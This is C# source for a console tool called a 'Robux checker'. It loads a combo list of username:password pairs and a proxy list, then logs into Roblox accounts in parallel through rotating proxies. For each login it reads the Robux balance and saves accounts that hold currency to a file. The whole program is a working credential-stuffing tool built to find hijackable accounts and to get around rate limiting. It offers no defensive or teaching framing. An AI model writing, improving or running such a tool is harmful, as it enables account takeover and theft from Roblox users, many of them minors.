Simple Roblox Robux Checker

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;

namespace Robuster
{
    class Program
    {
        static void Main(string[] args)
        {

            const string USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36";

            Console.WriteLine("Enter combo path: ");
            string comboPath = Console.ReadLine();

            Console.WriteLine("Enter proxy path: ");
            string proxyPath = Console.ReadLine();

            Console.WriteLine("Enter max threads: ");
            int maxThreads = Int32.Parse(Console.ReadLine());

            string[] alts = File.ReadAllLines(comboPath);
            List<string> proxies = File.ReadAllLines(proxyPath).ToList();

            object locker = new object();

            Parallel.ForEach(
                alts,
                new ParallelOptions { MaxDegreeOfParallelism = maxThreads },
                a =>
                {
                    try
                    {
                        CookieContainer cc = new CookieContainer();
                        string[] alt = a.Split(':');
                        string proxy = proxies[new Random().Next(proxies.Count)];

                        string post = $"&username={alt[0]}&password={alt[1]}";
                        bool isWorkingProxy = false;

                        while (!isWorkingProxy)
                        {
                            try
                            {

                                WebProxy proxyToUse = new WebProxy(proxy);

                                HttpWebRequest req = (HttpWebRequest)WebRequest.Create($"https://api.roblox.com/v2/login");
                                req.UserAgent = USER_AGENT;
                                req.Timeout = 5000;
                                req.Method = "POST";
                                req.CookieContainer = cc;
                                req.Proxy = proxyToUse;
                                req.ContentType = "application/x-www-form-urlencoded";

                                byte[] data = Encoding.ASCII.GetBytes(post);
                                req.GetRequestStream().Write(data, 0, data.Length);

                                using (req.GetResponse()) { }

                                req = (HttpWebRequest)WebRequest.Create("https://api.roblox.com/currency/balance");
                                req.UserAgent = USER_AGENT;
                                req.Timeout = 5000;
                                req.Method = "GET";
                                req.CookieContainer = cc;
                                req.Proxy = proxyToUse;
                                req.ContentType = "application/x-www-form-urlencoded";

                                using (HttpWebResponse rep = (HttpWebResponse)req.GetResponse())
                                using (var reader = new StreamReader(rep.GetResponseStream()))
                                {
                                    string response = reader.ReadToEnd();
                                    response = response.Split(':')[1].Replace("}", "");
                                    Console.WriteLine($"Account {a} working - Robux: {response}");

                                    int robux = 0;
                                    if(Int32.TryParse(response, out robux) && robux > 0)
                                    {
                                        lock(locker)
                                        {
                                            using (StreamWriter sw = new StreamWriter("accounts.txt", true))
                                            {
                                                sw.WriteLine($"{a}:{response}");
                                            }
                                        }
                                    }
                                }

                                isWorkingProxy = true;


                            }
                            catch (WebException ex)
                            {

                                if (ex.Response != null)
                                {
                                    using (var reader = new StreamReader(ex.Response.GetResponseStream()))
                                    {
                                        if(reader.ReadToEnd().Contains("Incorrect username or password. Please try again."))
                                        {
                                            Console.WriteLine($"Account NOT working: {a}");
                                            isWorkingProxy = true;
                                        }
                                        else
                                        {
                                            proxy = proxies[new Random().Next(proxies.Count)];
                                        }
                                    }
                                }
                                else
                                {
                                    proxy = proxies[new Random().Next(proxies.Count)];
                                }

                            }
                            catch (Exception ex) { }
                        }
                    }
                    catch(Exception ex) { }
                });

            Console.WriteLine("\n\nFinished");
            Console.ReadLine();
        }
    }
}